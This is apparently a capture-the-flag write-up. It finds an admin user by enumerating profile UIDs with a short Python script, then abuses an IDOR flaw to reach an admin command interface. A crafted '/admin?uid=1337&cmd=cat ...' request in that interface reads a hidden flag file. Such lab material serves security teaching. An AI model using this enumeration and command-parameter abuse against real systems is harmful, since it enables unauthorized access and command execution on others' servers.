Reconnaissance#

1
RUN mkdir -p /app/.hidden && \
2
    mv /app/flag.txt /app/.hidden/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt

Finding the Admin User#

I wrote a Python script to enumerate UIDs:

1
for uid in range(1, 10000):
2
    response = requests.get(f'/profile?uid={uid}')
3
    if 'admin' in response.text.lower():
4
        print(f'Admin found with uid {uid}')
5
        break

Result: Admin found with uid 1337

The Admin Portal#

The admin portal at /profile?uid=1337 has a link to an admin command interface with an input field (default: whoami) that outputs nobody.

This looks like command execution! However, trying to change commands returns “Access denied” because the form changes the UID to 2.

Exploitation - IDOR#

The vulnerability is clear:

1. The admin portal checks if uid has admin privileges
2. But the uid parameter is client-controlled via the URL
3. We can manually set uid=1337 to bypass the check!

1
/admin?uid=1337&cmd=cat%20/app/.hidden/flag*

Flag#

1
QnQSec{I_f0und_th1s_1day_wh3n_I_am_using_sch00l_0j}